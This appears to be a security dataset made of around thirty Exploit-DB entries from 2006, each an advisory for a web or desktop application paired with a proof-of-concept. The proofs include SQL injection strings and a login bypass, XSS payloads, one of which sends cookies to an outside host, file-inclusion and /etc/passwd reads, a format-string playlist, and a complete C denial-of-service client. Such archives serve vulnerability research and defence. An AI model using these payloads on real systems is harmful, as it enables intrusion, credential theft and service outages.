QLWD/code_shield huggingface dataset:
标题: ThWboard 2.8 - 'showtopic.php' SQL Injection EDB-ID: 27687 CVE: 2006-1926 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/17606/info

ThWboard is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/showtopic.php?threadid=1&pagenum=[SQL] URL: https://www.exploit-db.com/exploits/27687
标题: Cisco Wireless Lan Solution Engine - ArchiveApplyDisplay.jsp Cross-Site Scripting EDB-ID: 27684 CVE: 2006-1960 类型: WEBAPPS 平台: JSP 发布日期: 2006-04-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/17604/info

CiscoWorks Wireless LAN Solution Engine (WLSE) is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal JSP session cookie-based authentication credentials and launch other attacks.

http://www.example.com/wlse/configure/archive/archiveApplyDisplay.jsp?displayMsg=<script>document.location='http://www.example2.com?'+document.cookie</script> URL: https://www.exploit-db.com/exploits/27684
标题: CommuniMail 1.2 - 'mailadmin.cgi?list_id' Cross-Site Scripting EDB-ID: 27682 CVE: 2006-1944 类型: WEBAPPS 平台: CGI 发布日期: 2006-04-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/17602/info

CommuniMail is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/cgi-bin/communimail/mailadmin.cgi?saction=show_contacts&list_id=[XSS] URL: https://www.exploit-db.com/exploits/27682
标题: CutePHP CuteNews 1.4.1 Editnews Module - Cross-Site Scripting EDB-ID: 27676 CVE: 2006-1925 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/17592/info

CuteNews is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

CuteNews version 1.4.1 is vulnerable to this issue; other versions may also be affected.

Further reports from Steven M. Christey indicate the vulnerable parameter may also be affected by a directory-traversal vulnerability; other attacks may also be possible.

http://www.example.com/index.php?mod=editnews&action=editnews&id=1145397112&source=[XSS] URL: https://www.exploit-db.com/exploits/27676
标题: Visale 1.0 - 'pblscg.cgi?catsubno' Cross-Site Scripting EDB-ID: 27680 CVE: 2006-1946 类型: WEBAPPS 平台: CGI 发布日期: 2006-04-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/17598/info
 
Visale is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/pblscg.cgi?catsubno=[XSS] URL: https://www.exploit-db.com/exploits/27680
标题: Visale 1.0 - 'pbpgst.cgi?keyval' Cross-Site Scripting EDB-ID: 27679 CVE: 2006-1946 类型: WEBAPPS 平台: CGI 发布日期: 2006-04-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/17598/info

Visale is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/pbpgst.cgi?keyval=[XSS] URL: https://www.exploit-db.com/exploits/27679
标题: ModernBill 4.3 - 'user.php' SQL Injection EDB-ID: 27678 CVE: 2006-1853 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/17596/info

ModernBill is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/user.php?op=menu&tile=mysupport&type=view&id=1[SQL]
http://www.example.com/user.php?op=menu&tile=mysupport&type=details&id=(existing id number)[SQL]
http://www.example.com/user.php?op=client_invoice&db_table=client_invoice&tile=myinvoices&print=&id=invoice_id|2869[SQL] URL: https://www.exploit-db.com/exploits/27678
标题: Coppermine 1.4.4 - 'index.php' Local File Inclusion EDB-ID: 27669 CVE: 2006-1909 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/17570/info

Coppermine is prone to a local file-include vulnerability. This may allow unauthorized users to view files and to execute local scripts.

Version 1.4.4 is vulnerable to this issue; other versions may also be affected.

http://www.example.com/cpg/index.php?file=.//././/././/././/././/././/././/././/././/./etc/passwd%00 URL: https://www.exploit-db.com/exploits/27669
标题: MyBB 1.1 - Global Variable Overwrite EDB-ID: 27667 CVE: 2006-1912 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/17564/info

MyBB is prone to a vulnerability that permits an attacker to overwrite global variables. This issue is due to a design flaw in handling HTTP GET and POST variables.

An attacker can exploit this issue to overwrite the global variables with arbitrary input. Through control of the global variables, the attacker may be able to perform cross-site scripting, SQL-injection, and other attacks.

http://www.example.com/mybb/global.php?_SERVER[HTTP_CLIENT_IP]=â??sql URL: https://www.exploit-db.com/exploits/27667
标题: PHPLister 0.4.1 - 'index.php' Cross-Site Scripting EDB-ID: 27675 CVE: 2006-1906 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/17591/info

phpLister is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Version 0.4.1 is vulnerable to this issue; other versions may also be affected.

http://www.example.com/[path]/index.php?page=XSS URL: https://www.exploit-db.com/exploits/27675
标题: RechnungsZentrale 2 1.1.3 - 'Authent.php4' SQL Injection EDB-ID: 27674 CVE: 2006-1954 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/17588/info

RechnungsZentrale V2 is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

Version 1.1.3 is vulnerable; other versions may also be affected.

An example has been provided:

User: ' OR '1'='1
Password: 1 URL: https://www.exploit-db.com/exploits/27674
标题: Article Publisher 1.0.1 Pro - Multiple SQL Injections EDB-ID: 27677 CVE: 2006-1852 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/17595/info

Article Publisher Pro is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

Version 1.0.1 is vulnerable; other versions may also be affected.

http://www.example.com/category.php?cname=[SQL] URL: https://www.exploit-db.com/exploits/27677
标题: Xine 0.9/1.0 - Playlist Handling Remote Format String EDB-ID: 27670 CVE: 2006-1905 类型: DOS 平台: LINUX 发布日期: 2006-04-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/17579/info

The xine package is reported prone to a remote format-string vulnerability. 

This issue arises when the application handles specially crafted playlist files. An attacker can exploit this vulnerability by crafting a malicious file that contains format specifiers and then sending the file to an unsuspecting user. 

A successful attack may crash the application or lead to arbitrary code execution. 

All versions of xine are considered vulnerable at the moment.

#EXTM3U
#EXTINFO !!All_You_Playlists_Are_Belong_To_Us - SHHEEEELLLLCCCCOOOOOODDDDDDEEEEEEEEEEE!!
AAAAAAAAAAA%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%.13068u%n%hn URL: https://www.exploit-db.com/exploits/27670
标题: PHPLinks 2.1.2/2.1.3 - 'index.php' Cross-Site Scripting EDB-ID: 27673 CVE: 2006-1825 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/17586/info

The phpLinks application is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Versions 2.1.3.1 and prior are vulnerable to this issue; other versions may also be affected.

http://www.example.com/phpLinks_path/index.php?logic=or&maximum=&term=%22%3Cscript%3Ealert('r0t')%3C/script%3E URL: https://www.exploit-db.com/exploits/27673
标题: Calendarix 0.7 - 'YearCal.php' Cross-Site Scripting EDB-ID: 27665 CVE: 2006-1835 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/17562/info

Calendarix is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Specific information regarding affected versions of Calendarix is currently unavailable.

http://www.example.com/[path]/yearcal.php?ycyear=<script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/27665
标题: Neon Responders 5.4 - Remote Clock Synchronization Denial of Service EDB-ID: 27668 CVE: 2006-1941 类型: DOS 平台: MULTIPLE 发布日期: 2006-04-10 漏洞利用脚本: // source: https://www.securityfocus.com/bid/17569/info

Neon Responders is susceptible to a remote denial-of-service vulnerability. This issue is due to the application's failure to properly handle malformed network packets.

This issue allows remote attackers to crash the affected application, denying further service to legitimate users.

Version 5.4 of Neon Responders for Windows is vulnerable to this issue; other versions may also be affected.

/* Stefan Lochbihler*/

#include <stdio.h>
#include <stdlib.h>
#include <winsock2.h>

#pragma comment(lib,"ws2_32")

#define PORT 4347
char CLOCK_MSG [] =
"\x00\x0e\x5a\x00\x4c\xe9\x24\xb1\x17\x88\x40\x84";   //Password = ""

void usage (char*);
void endpgr (char *,SOCKET, char*);
unsigned long gethost (char *);


int main(int argc, char *argv[])
{

    WSADATA wsa;
    SOCKET client;
    sockaddr_in peer;
    WORD wsVersion;

    char sendbuffer[16]="";
    char recvbuffer[16]="";
    unsigned long host=0;
    int err=0;

    if(argc<2)
      usage(argv[0]);

    printf("\n~~~~~~ Neon Responder DoS - (c) by Stefan Lochbihler ~~~~~\n\n");


    if(WSAStartup(wsVersion=MAKEWORD(2,2),&wsa)!=0)
    {
        printf("WSAStartup() fail\n");
        exit(0);
    }

    printf("%s:[+] Try to create socket\n",argv[0]);
    client=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
    if(client==INVALID_SOCKET)
       endpgr(argv[0],client,"[-] socket() fail");

    printf("%s:[+] Lookup host\n",argv[0]);
    if(!(host=gethost(argv[1])))
       endpgr(argv[0],client,"[-] host not found !");

    peer.sin_family = AF_INET;
    peer.sin_port = htons(PORT);
    peer.sin_addr.s_addr = host;

    printf("%s:[+] Connect to %s\n",argv[0],argv[1]);
    err=connect(client,(SOCKADDR*)&peer,sizeof(struct sockaddr_in));
    if(err)
      endpgr(argv[0],client,"[-] connect() fail");

    memcpy(sendbuffer,CLOCK_MSG,sizeof(CLOCK_MSG));

    printf("%s:[+] Try to send packet\n",argv[0]);
    err=send(client,sendbuffer,sizeof(sendbuffer),0);
    err=recv(client,recvbuffer,sizeof(recvbuffer)-1,0);

    endpgr(argv[0],client,"[+] End successfully");

    return 0;

}

void usage(char *pgrname)
{
printf("\n~~~~~~ Neon Responder DoS - (c) by Stefan Lochbihler ~~~~~~\n\n");
printf("%s: <Targethost>\n",pgrname);
exit(0);
}

void endpgr (char *pgrname, SOCKET client,char *msg)
{
    printf("%s:%s\n",pgrname,msg);
    WSACleanup();
    closesocket(client);
    exit(0);
}

unsigned long gethost(char *targethost)
{
unsigned long host=0;
hostent *phost=NULL;


host=inet_addr(targethost);
if(host==INADDR_NONE)
{
    if((phost=gethostbyname(targethost))==NULL)
       return 0;
    host=*(unsigned long*)phost->h_addr;
}

return host;
} URL: https://www.exploit-db.com/exploits/27668
标题: Papoo 2.1.x - 'print.php' Cross-Site Scripting EDB-ID: 27647 CVE: 2006-1918 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/17530/info

Papoo is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/[papoo_dir]/print.php?reporeid_print=[XSS_here]&forumid=1 URL: https://www.exploit-db.com/exploits/27647
标题: Farsinews 2.1/2.5 - 'search.php' Cross-Site Scripting EDB-ID: 27650 CVE: 2006-1822 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/17534/info

FarsiNews is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/[farsinews_path]/search.php?selected_search_arch=><script>alert(document.cookie)</script><!--
http://www.example.com/[farsinews_path]/search.php?selected_search_arch=%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E%3C%21-- URL: https://www.exploit-db.com/exploits/27650
标题: MODx CMS 0.9.1 - 'index.php' Directory Traversal EDB-ID: 27649 CVE: 2006-1821 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/17533/info

MODxCMS is prone to a directory-traversal vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the affected application. Information obtained may aid attackers in further attacks.

http://www.example.com/[modx_dir]/index.php?id=[parameter][reverse_derectory]%00 URL: https://www.exploit-db.com/exploits/27649
标题: Monster Top List 1.4 - 'functions.php' Remote File Inclusion EDB-ID: 27660 CVE: 2006-1781 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/17546/info

Monster Top List is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/[path]/sources/functions.php?root_path=http://www.example.com/ URL: https://www.exploit-db.com/exploits/27660
标题: PHPFaber TopSites - 'index.php' Cross-Site Scripting EDB-ID: 27659 CVE: 2006-1878 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/17542/info

phpFaber TopSites is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/index.php?page=<script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/27659
标题: MODx CMS 0.9.1 - 'index.php' Cross-Site Scripting EDB-ID: 27648 CVE: 2006-1820 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/17532/info

MODxCMS is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/[modx_dir]/index.php?id=[parameter][XSS_here] URL: https://www.exploit-db.com/exploits/27648
标题: Tiny Web Gallery 1.4 - 'index.php' Cross-Site Scripting EDB-ID: 27651 CVE: 2006-1802 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/17536/info

Tiny Web Gallery is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Versions 1.4 and prior are vulnerable.

http://www.example.com/[PATH]/index.php?twg_album=&#039;><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/27651
标题: Jax Guestbook 3.50 - 'Page' Cross-Site Scripting EDB-ID: 27664 CVE: 2006-1913 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/17560/info

Jax Guestbook is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Version 3.50 is vulnerable to this issue; other versions may also be affected.

http://www.example.com/jax_guestbook.php?page=[XSS]&language=english
http://www.example.com/guestbook.admin.php?action=list&guestbook_id=0&language=german&gmt_ofs=0&page=[XSS] URL: https://www.exploit-db.com/exploits/27664
标题: DbbS 2.0 - Multiple Input Validation Vulnerabilities EDB-ID: 27663 CVE: 2006-1916 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/17559/info

DbbS is prone to multiple input-validation vulnerabilities. The issues include cross-site scripting and command-execution vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based
authentication credentials, execute commands to compromise the server, and launch other attacks.

http://www.site.com/DbbS/suntzu.php?cmd=dir

http://www.site.com/DbbS/profile.php?mode=edit&myid=1&ulocation="><script>alert(document.cookie)</script>

http://www.site.com/DbbS/profile.php?mode=edit&myid=1&uhobbies="><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/27663
标题: LifeType 1.0.3 - 'index.php' Cross-Site Scripting EDB-ID: 27646 CVE: 2006-1808 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/17529/info

LifeType is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/[lifetype_dir]/index.php?op=Template&blogId=1&show=[XSS_here] URL: https://www.exploit-db.com/exploits/27646
标题: AR-Blog 5.2 - 'print.php' Cross-Site Scripting EDB-ID: 27642 CVE: 2006-1893 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/17522/info

The ar-blog application is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Version 5.2 is vulnerable; other versions may also be affected.

http://www.example.com/print.php?id=<script>alert(1)</script> URL: https://www.exploit-db.com/exploits/27642
标题: PlanetSearch + - 'Planetsearchplus.php' Cross-Site Scripting EDB-ID: 27644 CVE: 2006-1801 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/17527/info

PlanetSearch + is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/planetsearchplus.php?search_exp=[XSS] URL: https://www.exploit-db.com/exploits/27644
标题: W3C Amaya 9.4 - legend color Attribute Value Overflow EDB-ID: 27640 CVE: 2006-1900 类型: DOS 平台: MULTIPLE 发布日期: 2006-04-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/17507/info
 
W3C Amaya is susceptible to multiple remote buffer-overflow vulnerabilities. These issues are due to the application's failure to properly bounds-check user-supplied data before copying it to insufficiently sized memory buffers.
 
Remote attackers may exploit this issue to execute arbitrary machine code in the context of the affected application. Failed exploit attempts likely crash the application.
 
Amaya version 9.4 is affected by these issues; other versions may also be vulnerable.

<legend color="Ax200"> URL: https://www.exploit-db.com/exploits/27640